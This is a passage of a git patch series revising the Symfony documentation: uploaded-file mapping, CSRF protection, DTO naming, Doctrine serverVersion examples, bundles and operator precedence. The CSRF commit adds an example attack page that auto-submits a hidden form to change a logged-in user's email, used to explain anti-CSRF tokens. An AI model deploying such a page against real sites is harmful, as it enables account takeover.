$client->getResponse()->getStatusCode()); - /* @var InMemoryTransport $transport */ + /** @var InMemoryTransport $transport */ $transport = $this->getContainer()->get('messenger.transport.async_priority_normal'); $this->assertCount(1, $transport->getSent()); } From 846cbae795919e74ec57ee9d1010cb3ff16d4041 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 8 May 2024 12:52:24 +0200 Subject: [PATCH 193/615] Tweaks and rewords --- controller.rst | 83 +++++++++++++++++++++++++++----------------------- 1 file changed, 45 insertions(+), 38 deletions(-) diff --git a/controller.rst b/controller.rst index ee6c2ecd194..cec5ce4b904 100644 --- a/controller.rst +++ b/controller.rst @@ -589,84 +589,91 @@ using the ``type`` option of the attribute:: .. _controller_map-uploaded-file: -Mapping Uploaded File -~~~~~~~~~~~~~~~~~~~~~ +Mapping Uploaded Files +~~~~~~~~~~~~~~~~~~~~~~ -You can map ``UploadedFile``s to the controller arguments and optionally bind ``Constraints`` to them. -The argument resolver fetches the ``UploadedFile`` based on the argument name. - -:: +Symfony provides an attribute called ``#[MapUploadedFile]`` to map one or more +``UploadedFile`` objects to controller arguments:: namespace App\Controller; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\File\UploadedFile; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapUploadedFile; use Symfony\Component\Routing\Attribute\Route; - use Symfony\Component\Validator\Constraints as Assert; - #[Route('/user/picture', methods: ['PUT'])] - class ChangeUserPictureController + class UserController extends AbstractController { - public function _invoke( - #[MapUploadedFile([ - new Assert\File(mimeTypes: ['image/png', 'image/jpeg']), - new Assert\Image(maxWidth: 3840, maxHeight: 2160) - ])] - UploadedFile $picture + #[Route('/user/picture', methods: ['PUT'])] + public function changePicture( + #[MapUploadedFile] UploadedFile $picture, ): Response { // ... } } -.. tip:: - - The bound ``Constraints`` are performed before injecting the ``UploadedFile`` into the controller argument. - When a constraint violation is detected an ``HTTPException`` is thrown and the controller's - action is not executed. - -Mapping ``UploadedFile``s with no custom settings. +In this example, the associated :doc:`argument resolver <controller/value_resolver>` +fetches the ``UploadedFile`` based on the argument name (``$picture``). If no file +is submitted, an ``HttpException`` is thrown. You can change this by making the +controller argument nullable: .. code-block:: php-attributes #[MapUploadedFile] - UploadedFile $document + ?UploadedFile $document -An ``HTTPException`` is thrown when the file is not submitted. -You can skip this check by making the controller argument nullable. +The ``#[MapUploadedFile]`` attribute also allows to pass a list of constraints +to apply to the uploaded file:: -.. code-block:: php-attributes + namespace App\Controller; - #[MapUploadedFile] - ?UploadedFile $document + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\File\UploadedFile; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapUploadedFile; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\Validator\Constraints as Assert; -.. code-block:: php-attributes + class UserController extends AbstractController + { + #[Route('/user/picture', methods: ['PUT'])] + public function changePicture( + #[MapUploadedFile([ + new Assert\File(mimeTypes: ['image/png', 'image/jpeg']), + new Assert\Image(maxWidth: 3840, maxHeight: 2160), + ])] + UploadedFile $picture, + ): Response { + // ... + } + } - #[MapUploadedFile] - UploadedFile|null $document +The validation constraints are checked before injecting the ``UploadedFile`` into +the controller argument. If there's a constraint violation, an ``HttpException`` +is thrown and the controller's action is not executed. -``UploadedFile`` collections must be mapped to array or variadic arguments. -The bound ``Constraints`` will be applied to each file in the collection. -If a constraint violation is detected to one of them an ``HTTPException`` is thrown. +If you need to upload a collection of files, map them to an array or a variadic +argument. The given constraint will be applied to all files and if any of them +fails, an ``HttpException`` is thrown: .. code-block:: php-attributes #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))] array $documents -.. code-block:: php-attributes - #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))] UploadedFile ...$documents -Handling custom names. +Use the ``name`` option to rename the uploaded file to a custom value: .. code-block:: php-attributes #[MapUploadedFile(name: 'something-else')] UploadedFile $document -Changing the ``HTTP Status`` thrown when constraint violations are detected. +In addition, you can change the status code of the HTTP exception thrown when +there are constraint violations: .. code-block:: php-attributes From 6a8dbc6dfe6e9185ed859b3c9908fb84417598fb Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 6 May 2024 12:24:41 +0200 Subject: [PATCH 194/615] [Security] Improve the docs related to CSRF --- security/csrf.rst | 62 +++++++++++++++++++++++++++++++++++------------ 1 file changed, 47 insertions(+), 15 deletions(-) diff --git a/security/csrf.rst b/security/csrf.rst index 87a1b972998..6a105e09771 100644 --- a/security/csrf.rst +++ b/security/csrf.rst @@ -1,15 +1,44 @@ How to Implement CSRF Protection ================================ -CSRF - or `Cross-site request forgery`_ - is a method by which a malicious -user attempts to make your legitimate users unknowingly submit data that -they don't intend to submit. +CSRF, or `Cross-site request forgery`_, is a type of attack where a malicious actor +tricks a user into performing actions on a web application without their knowledge +or consent. -CSRF protection works by adding a hidden field to your form that contains a -value that only you and your user know. This ensures that the user - not some -other entity - is submitting the given data. +The attack is based on the trust that a web application has in a user's browser +(e.g. on session cookies). Here's a real example of a CSRF attack: a malicious +actor could create the following website: -Before using the CSRF protection, install it in your project: +.. code-block:: html + + <html> + <body> + <form action="https://example.com/settings/update-email" method="POST"> + <input type="hidden" name="email" value="malicious-actor-address@some-domain.com"/> + </form> + <script> + document.forms[0].submit(); + </script> + + <!-- some content here to distract the user --> + </body> + </html> + +If you visit this website (e.g. by clicking on some email link or some social +network post) and you were already logged in on the ``https://example.com`` site, +the malicious actor could change the email address associated to your account +(effectively taking over your account) without you even being aware of it. + +An effective way of preventing CSRF attacks is to use anti-CSRF tokens. These are +unique tokens added to forms as hidden fields. The legit server validates them to +ensure that the request originated from the expected source and not some other +malicious website. + +Installation +------------ + +Symfony provides all the needed features to generate and validate the anti-CSRF +tokens. Before using them, install this package in your project: .. code-block:: terminal @@ -75,9 +104,9 @@ protected forms. As an alternative, you can: CSRF Protection in Symfony Forms -------------------------------- -Forms created with the Symfony Form component include CSRF tokens by default -and Symfony checks them automatically, so you don't have to do anything to be -protected against CSRF attacks. +:doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also +checks them automatically for you. So, when using Symfony Forms, you don't have +o do anything to be protected against CSRF attacks. .. _form-csrf-customization: @@ -117,12 +146,15 @@ You can also customize the rendering of the CSRF form field creating a custom the field (e.g. define ``{% block csrf_token_widget %} ... {% endblock %}`` to customize the entire form field contents). -CSRF Protection in Login Forms ------------------------------- +.. _csrf-protection-in-login-forms: + +CSRF Protection in Login Form and Logout Action +----------------------------------------------- + +Read the following: -See :ref:`form_login-csrf` for a login form that is protected from CSRF -attacks. You can also configure the -:ref:`CSRF protection for the logout action <reference-security-logout-csrf>`. +* :ref:`CSRF Protection in Login Forms <form_login-csrf>`; +* :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`. .. _csrf-protection-in-html-forms: From e116b8a8b837685bb650100a663a3affaac07b0f Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 9 May 2024 13:48:06 +0200 Subject: [PATCH 195/615] Update kernel.rst: Adding example for `kernel.project_dir` Page: https://symfony.com/doc/6.4/reference/configuration/kernel.html#kernel-project-dir Reason: Showing there is no trailing slash in the path. --- reference/configuration/kernel.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst index dc46ebd8018..4a26597aeb2 100644 --- a/reference/configuration/kernel.rst +++ b/reference/configuration/kernel.rst @@ -261,12 +261,14 @@ method of the kernel class, which you can override to return a different value. ``kernel.project_dir`` ---------------------- -**type**: ``string`` **default**: the directory of the project ``composer.json`` +**type**: ``string`` **default**: the directory of the project's ``composer.json`` This parameter stores the absolute path of the root directory of your Symfony application, which is used by applications to perform operations with file paths relative to the project's root directory. +Example: `/home/user/my_project` + By default, its value is calculated automatically as the directory where the main ``composer.json`` file is stored. This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the From 5b8e1984e9c2aff1772fbab631f8cd8056006eb9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 9 May 2024 16:55:55 +0200 Subject: [PATCH 196/615] Don't capitalize acronyms in class names --- controller.rst | 26 +++++++++++++------------- form/type_guesser.rst | 22 +++++++++++----------- 2 files changed, 24 insertions(+), 24 deletions(-) diff --git a/controller.rst b/controller.rst index 1a46200ebdf..ec2777e7f19 100644 --- a/controller.rst +++ b/controller.rst @@ -401,7 +401,7 @@ optional validation constraints:: use Symfony\Component\Validator\Constraints as Assert; - class UserDTO + class UserDto { public function __construct( #[Assert\NotBlank] @@ -419,14 +419,14 @@ optional validation constraints:: You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute in your controller:: - use App\Model\UserDTO; + use App\Model\UserDto; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapQueryString; // ... public function dashboard( - #[MapQueryString] UserDTO $userDto + #[MapQueryString] UserDto $userDto ): Response { // ... @@ -443,7 +443,7 @@ HTTP status to return if the validation fails:: #[MapQueryString( validationGroups: ['strict', 'edit'], validationFailedStatusCode: Response::HTTP_UNPROCESSABLE_ENTITY - )] UserDTO $userDto + )] UserDto $userDto ): Response { // ... @@ -454,14 +454,14 @@ The default status code returned if the validation fails is 404. If you need a valid DTO even when the request query string is empty, set a default value for your controller arguments:: - use App\Model\UserDTO; + use App\Model\UserDto; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapQueryString; // ... public function dashboard( - #[MapQueryString] UserDTO $userDto = new UserDTO() + #[MapQueryString] UserDto $userDto = new UserDto() ): Response { // ... @@ -497,14 +497,14 @@ In this case, it is also possible to directly map this payload to your DTO by using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute:: - use App\Model\UserDTO; + use App\Model\UserDto; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapRequestPayload; // ... public function dashboard( - #[MapRequestPayload] UserDTO $userDto + #[MapRequestPayload] UserDto $userDto ): Response { // ... @@ -519,7 +519,7 @@ your DTO:: serializationContext: ['...'], resolver: App\Resolver\UserDtoResolver )] - UserDTO $userDto + UserDto $userDto ): Response { // ... @@ -537,7 +537,7 @@ the validation fails as well as supported payload formats:: acceptFormat: 'json', validationGroups: ['strict', 'read'], validationFailedStatusCode: Response::HTTP_NOT_FOUND - )] UserDTO $userDto + )] UserDto $userDto ): Response { // ... @@ -557,16 +557,16 @@ Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_ if you want to map a nested array of specific DTOs:: public function dashboard( - #[MapRequestPayload()] EmployeesDTO $employeesDto + #[MapRequestPayload()] EmployeesDto $employeesDto ): Response { // ... } - final class EmployeesDTO + final class EmployeesDto { /** - * @param UserDTO[] $users + * @param UserDto[] $users */ public function __construct( public readonly array $users = [] diff --git a/form/type_guesser.rst b/form/type_guesser.rst index b2137b82578..111f1b77986 100644 --- a/form/type_guesser.rst +++ b/form/type_guesser.rst @@ -44,14 +44,14 @@ This interface requires four methods: Start by creating the class and these methods. Next, you'll learn how to fill each in:: - // src/Form/TypeGuesser/PHPDocTypeGuesser.php + // src/Form/TypeGuesser/PhpDocTypeGuesser.php namespace App\Form\TypeGuesser; use Symfony\Component\Form\FormTypeGuesserInterface; use Symfony\Component\Form\Guess\TypeGuess; use Symfony\Component\Form\Guess\ValueGuess; - class PHPDocTypeGuesser implements FormTypeGuesserInterface + class PhpDocTypeGuesser implements FormTypeGuesserInterface { public function guessType(string $class, string $property): ?TypeGuess { @@ -90,9 +90,9 @@ The ``TypeGuess`` constructor requires three options: type with the highest confidence is used. With this knowledge, you can implement the ``guessType()`` method of the -``PHPDocTypeGuesser``:: +``PhpDocTypeGuesser``:: - // src/Form/TypeGuesser/PHPDocTypeGuesser.php + // src/Form/TypeGuesser/PhpDocTypeGuesser.php namespace App\Form\TypeGuesser; use Symfony\Component\Form\Extension\Core\Type\CheckboxType; @@ -102,7 +102,7 @@ With this knowledge, you can implement the ``guessType()`` method of the use Symfony\Component\Form\Guess\Guess; use Symfony\Component\Form\Guess\TypeGuess; - class PHPDocTypeGuesser implements FormTypeGuesserInterface + class PhpDocTypeGuesser implements FormTypeGuesserInterface { public function guessType(string $class, string $property): ?TypeGuess { @@ -188,7 +188,7 @@ and tag it with ``form.type_guesser``: services: # ... - App\Form\TypeGuesser\PHPDocTypeGuesser: + App\Form\TypeGuesser\PhpDocTypeGuesser: tags: [form.type_guesser] .. code-block:: xml @@ -201,7 +201,7 @@ and tag it with ``form.type_guesser``: https://symfony.com/schema/dic/services/services-1.0.xsd"> <services> - <service id="App\Form\TypeGuesser\PHPDocTypeGuesser"> + <service id="App\Form\TypeGuesser\PhpDocTypeGuesser"> <tag name="form.type_guesser"/> </service> </services> @@ -210,9 +210,9 @@ and tag it with ``form.type_guesser``: .. code-block:: php // config/services.php - use App\Form\TypeGuesser\PHPDocTypeGuesser; + use App\Form\TypeGuesser\PhpDocTypeGuesser; - $container->register(PHPDocTypeGuesser::class) + $container->register(PhpDocTypeGuesser::class) ->addTag('form.type_guesser') ; @@ -223,12 +223,12 @@ and tag it with ``form.type_guesser``: :method:`Symfony\\Component\\Form\\FormFactoryBuilder::addTypeGuessers` of the ``FormFactoryBuilder`` to register new type guessers:: - use App\Form\TypeGuesser\PHPDocTypeGuesser; + use App\Form\TypeGuesser\PhpDocTypeGuesser; use Symfony\Component\Form\Forms; $formFactory = Forms::createFormFactoryBuilder() // ... - ->addTypeGuesser(new PHPDocTypeGuesser()) + ->addTypeGuesser(new PhpDocTypeGuesser()) ->getFormFactory(); // ... From e0a49ba49a8c6b1ca770cc8cfc659975212f2b7f Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Tue, 7 May 2024 16:13:00 +0200 Subject: [PATCH 197/615] [Security] Add support for dynamic CSRF id with Expression in `#[IsCsrfTokenValid]` --- security/csrf.rst | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/security/csrf.rst b/security/csrf.rst index 76aaf9ea4bf..715ed8a5283 100644 --- a/security/csrf.rst +++ b/security/csrf.rst @@ -181,6 +181,32 @@ attribute on the controller action:: // ... do something, like deleting an object } +Suppose you want a CSRF token per item, so in the template you have something like the following: + +.. code-block:: html+twig + + <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post"> + {# the argument of csrf_token() is a dynamic id string used to generate the token #} + <input type="hidden" name="token" value="{{ csrf_token('delete-item-' ~ post.id) }}"> + + <button type="submit">Delete item</button> + </form> + +The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` +attribute also accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` +object evaluated to the id:: + + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; + // ... + + #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].id'), tokenKey: 'token')] + public function delete(Post $post): Response + { + // ... do something, like deleting an object + } + .. versionadded:: 7.1 The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` From f3ac20ee191cb9b86c2ed30fc2f5852a434ad35a Mon Sep 17 00:00:00 2001 From: Nic Wortel <nic@nicwortel.nl> Date: Fri, 10 May 2024 14:12:39 +0200 Subject: [PATCH 198/615] Replace serverVersion example values with full version numbers Doctrine DBAL 3.6.0 deprecated incomplete version numbers for the serverVersion value (for example 8 or 8.0 for MySQL). Instead, a full version number (8.0.37) is expected. See https://www.doctrine-project.org/projects/doctrine-dbal/en/4.0/reference/configuration.html#automatic-platform-version-detection and https://github.com/doctrine/dbal/blob/4.0.x/UPGRADE.md#bc-break-disallowed-partial-version-numbers-in-serverversion. This commit replaces partial version numbers with full version numbers. It also replaces examples with EOL database versions (such as MySQL 5.7 and PostgreSQL 11) with more modern, supported versions. Fixes https://github.com/symfony/symfony-docs/issues/19876. --- doctrine.rst | 6 +++--- doctrine/dbal.rst | 2 +- reference/configuration/doctrine.rst | 8 ++++---- testing.rst | 4 ++-- 4 files changed, 10 insertions(+), 10 deletions(-) diff --git a/doctrine.rst b/doctrine.rst index 796d3bf02f1..5c881e31429 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -41,7 +41,7 @@ The database connection information is stored as an environment variable called # .env (or override DATABASE_URL in .env.local to avoid committing your changes) # customize this line! - DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7" + DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37" # to use mariadb: # Before doctrine/dbal < 3.7 @@ -53,7 +53,7 @@ The database connection information is stored as an environment variable called # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db" # to use postgresql: - # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8" + # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=12.19 (Debian 12.19-1.pgdg120+1)&charset=utf8" # to use oracle: # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name" @@ -75,7 +75,7 @@ database for you: $ php bin/console doctrine:database:create There are more options in ``config/packages/doctrine.yaml`` that you can configure, -including your ``server_version`` (e.g. 5.7 if you're using MySQL 5.7), which may +including your ``server_version`` (e.g. 8.0.37 if you're using MySQL 8.0.37), which may affect how Doctrine functions. .. tip:: diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst index 544428a9691..a0e0286d53e 100644 --- a/doctrine/dbal.rst +++ b/doctrine/dbal.rst @@ -32,7 +32,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``: # .env (or override DATABASE_URL in .env.local to avoid committing your changes) # customize this line! - DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7" + DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37" Further things can be configured in ``config/packages/doctrine.yaml`` - see :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index ad6d89195cd..288a088b47a 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -57,7 +57,7 @@ The following block shows all possible configuration keys: charset: utf8mb4 logging: '%kernel.debug%' platform_service: App\DBAL\MyDatabasePlatformService - server_version: '5.7' + server_version: '8.0.37' mapping_types: enum: string types: @@ -91,7 +91,7 @@ The following block shows all possible configuration keys: charset="utf8mb4" logging="%kernel.debug%" platform-service="App\DBAL\MyDatabasePlatformService" - server-version="5.7"> + server-version="8.0.37"> <doctrine:option key="foo">bar</doctrine:option> <doctrine:mapping-type name="enum">string</doctrine:mapping-type> @@ -134,13 +134,13 @@ If you want to configure multiple connections in YAML, put them under the user: root password: null host: localhost - server_version: '5.6' + server_version: '8.0.37' customer: dbname: customer user: root password: null host: localhost - server_version: '5.7' + server_version: '8.2.0' The ``database_connection`` service always refers to the *default* connection, which is the first one defined or the one configured via the diff --git a/testing.rst b/testing.rst index f4edb68c404..cc71eb6c5eb 100644 --- a/testing.rst +++ b/testing.rst @@ -225,7 +225,7 @@ need in your ``.env.test`` file: # .env.test # ... - DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7" + DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=8.0.37" In the test environment, these env files are read (if vars are duplicated in them, files lower in the list override previous items): @@ -381,7 +381,7 @@ env var: .. code-block:: env # .env.test.local - DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7" + DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=8.0.37" This assumes that each developer/machine uses a different database for the tests. If the test set-up is the same on each machine, use the ``.env.test`` From a54a981302525b5be80bb36655cf99fa779e6658 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 9 May 2024 12:59:26 +0200 Subject: [PATCH 199/615] Extend AbstractBundle instead of Bundle --- bundles/best_practices.rst | 20 +++++++++++++------- service_container/compiler_passes.rst | 4 ++-- 2 files changed, 15 insertions(+), 9 deletions(-) diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst index 0cdf4ecb2b9..5996bcbe43d 100644 --- a/bundles/best_practices.rst +++ b/bundles/best_practices.rst @@ -78,16 +78,22 @@ The following is the recommended directory structure of an AcmeBlogBundle: ├── LICENSE └── README.md -This directory structure requires to configure the bundle path to its root -directory as follows:: +.. note:: + + This directory structure is used by default when your bundle class extends + the recommended :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`. + If your bundle extends the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` + class, you have to override the ``getPath()`` method as follows:: - class AcmeBlogBundle extends Bundle - { - public function getPath(): string + use Symfony\Component\HttpKernel\Bundle\Bundle; + + class AcmeBlogBundle extends Bundle { - return \dirname(__DIR__); + public function getPath(): string + { + return \dirname(__DIR__); + } } - } **The following files are mandatory**, because they ensure a structure convention that automated tools can rely on: diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst index fda044a1195..fc5728685e0 100644 --- a/service_container/compiler_passes.rst +++ b/service_container/compiler_passes.rst @@ -75,9 +75,9 @@ method in the extension):: use App\DependencyInjection\Compiler\CustomPass; use Symfony\Component\DependencyInjection\ContainerBuilder; - use Symfony\Component\HttpKernel\Bundle\Bundle; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; - class MyBundle extends Bundle + class MyBundle extends AbstractBundle { public function build(ContainerBuilder $container): void { From 9f0c2e955d74b0e4bf458b55e978881f425078b5 Mon Sep 17 00:00:00 2001 From: homersimpsons <guillaume.alabre@gmail.com> Date: Fri, 3 May 2024 22:57:08 +0200 Subject: [PATCH 200/615] [ExpressionLanguage] Add operators precedence documentation --- reference/formats/expression_language.rst | 30 +++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index 370dbfd6f00..5bc2970024a 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -422,6 +422,36 @@ Other Operators * ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`) * ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`) +Operators Precedence +~~~~~~~~~~~~~~~~~~~~ + +The following table summarize the operators and their associativity from the highest to the lowest precedence. +It can be useful to understand the actual behavior of an expression. + +To avoid ambiguities it is a good practice to add parentheses. + +============================================= ============= +Operators associativity +============================================= ============= +``-``, ``+`` none +``**`` right +``*``, ``/``, ``%`` left +``not``, ``!`` none +``~`` left +``+``, ``-`` left +``..`` left +``==``, ``===``, ``!=``, ``!==``, left +``<``, ``>``, ``>=``, ``<=``, +``not in``, ``in``, ``contains``, +``starts with``, ``ends with``, ``matches`` +``&`` left +``^`` left +``|`` left +``and``, ``&&`` left +``or``, ``||`` left +============================================= ============= + + Built-in Objects and Variables ------------------------------ From c883a117272ab8d9c3ce7a9dd9fda1b3cb4e00d0 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 13 May 2024 14:50:37 +0200 Subject: [PATCH 201/615] Minor tweaks --- reference/formats/expression_language.rst | 51 +++++++++++++---------- 1 file changed, 28 insertions(+), 23 deletions(-) diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index 5bc2970024a..79af2d14002 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -425,32 +425,37 @@ Other Operators Operators Precedence ~~~~~~~~~~~~~~~~~~~~ -The following table summarize the operators and their associativity from the highest to the lowest precedence. -It can be useful to understand the actual behavior of an expression. - -To avoid ambiguities it is a good practice to add parentheses. - -============================================= ============= -Operators associativity -============================================= ============= -``-``, ``+`` none -``**`` right -``*``, ``/``, ``%`` left -``not``, ``!`` none -``~`` left -``+``, ``-`` left -``..`` left -``==``, ``===``, ``!=``, ``!==``, left +Operator precedence determines the order in which operations are processed in an +expression. For example, the result of the expression ``1 + 2 * 4`` is ``9`` +and not ``12`` because the multiplication operator (``*``) takes precedence over +the addition operator (``+``). + +To avoid ambiguities (or to alter the default order of operations) add +parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``. + +The following table summarizes the operators and their associativity from the +**highest to the lowest precedence**: + +======================================================= ============= +Operators associativity +======================================================= ============= +``-``, ``+`` (unary operators that add the number sign) none +``**`` right +``*``, ``/``, ``%`` left +``not``, ``!`` none +``~`` left +``+``, ``-`` left +``..`` left +``==``, ``===``, ``!=``, ``!==``, left ``<``, ``>``, ``>=``, ``<=``, ``not in``, ``in``, ``contains``, ``starts with``, ``ends with``, ``matches`` -``&`` left -``^`` left -``|`` left -``and``, ``&&`` left -``or``, ``||`` left -============================================= ============= - +``&`` left +``^`` left +``|`` left +``and``, ``&&`` left +``or``, ``||`` left +======================================================= ============= Built-in Objects and Variables ------------------------------ From 132cbeb330c07fc82f0735d053144bd4bab3418c Mon Sep 17 00:00:00 2001 From: pecapel <pecapel.dev@gmail.com> Date: Mon, 13 May 2024 11:02:13 +0200 Subject: [PATCH 202/615] feat(templates): recommend Asset Mapper instead of Webpack --- templates.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates.rst b/templates.rst index 37c1408af15..c3d4ac4d53d 100644 --- a/templates.rst +++ b/templates.rst @@ -329,8 +329,8 @@ as follows: Build, Versioning & More Advanced CSS, JavaScript and Image Handling ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -For help building, versioning and minifying your JavaScript and -CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`. +For help building and versioning your JavaScript and +CSS assets in a modern way, read about :doc:`Symfony's AssetMapper </frontend>`. .. _twig-app-variable: @@ -1098,7 +1098,7 @@ JavaScript library. First, include the `hinclude.js`_ library in your page :ref:`linking to it <templates-link-to-assets>` from the template or adding it -to your application JavaScript :doc:`using Webpack Encore </frontend>`. +to your application JavaScript :doc:`using AssetMapper </frontend>`. As the embedded content comes from another page (or controller for that matter), Symfony uses a version of the standard ``render()`` function to configure From 83a794c66197fd31238656462b9125d950eada0e Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 13 May 2024 15:31:47 +0200 Subject: [PATCH 203/615] Tweak --- reference/configuration/kernel.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst index 4a26597aeb2..0125094a64d 100644 --- a/reference/configuration/kernel.rst +++ b/reference/configuration/kernel.rst @@ -267,8 +267,6 @@ This parameter stores the absolute path of the root directory of your Symfony ap which is used by applications to perform operations with file paths relative to the project's root directory. -Example: `/home/user/my_project` - By default, its value is calculated automatically as the directory where the main ``composer.json`` file is stored. This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the @@ -290,6 +288,8 @@ have deleted it entirely (for example in the production servers), override the public function getProjectDir(): string { + // when defining a hardcoded string, don't add the triailing slash to the path + // e.g. '/home/user/my_project', '/app', '/var/www/example.com' return \dirname(__DIR__); } } From 90fa8ca7651a20126e7f3102b680fef87c71f7e2 Mon Sep 17 00:00:00 2001 From: Adam Williams <lol768@users.noreply.github.com> Date: Mon, 13 May 2024 13:49:57 +0100 Subject: [PATCH 204/615] Respond to "patches welcome" comment On symfony/symfony#11679 --- components/http_foundation.rst | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/components/http_foundation.rst b/components/http_foundation.rst index 9fa9ab6e33c..d4723d43e5a 100644 --- a/components/http_foundation.rst +++ b/components/http_foundation.rst @@ -730,6 +730,16 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'. Methods responding to POST requests only remain unaffected. +.. danger:: + + The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior + and will treat ``null`` as an empty object if passed as a constructor argument, + despite null being a `valid JSON top-level value`_. + + This behavior cannot be changed without backwards-compatibility concerns, but + it's possible to call ``setData`` and pass the value there to opt-out of the + behavior. + JSONP Callback ~~~~~~~~~~~~~~ @@ -797,5 +807,6 @@ Learn More .. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/ .. _Apache: https://tn123.org/mod_xsendfile/ .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/ +.. _`valid JSON top-level value`: https://www.json.org/json-en.html .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside .. _RFC 8674: https://tools.ietf.org/html/rfc8674 From 90802a6f774061c35392d491753cb87c490ba136 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 13 May 2024 15:49:22 +0200 Subject: [PATCH 205/615] Tweak --- security/custom_authenticator.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst index 9614c3a4e55..2259f9f0e08 100644 --- a/security/custom_authenticator.rst +++ b/security/custom_authenticator.rst @@ -163,7 +163,7 @@ can define what happens in these cases: 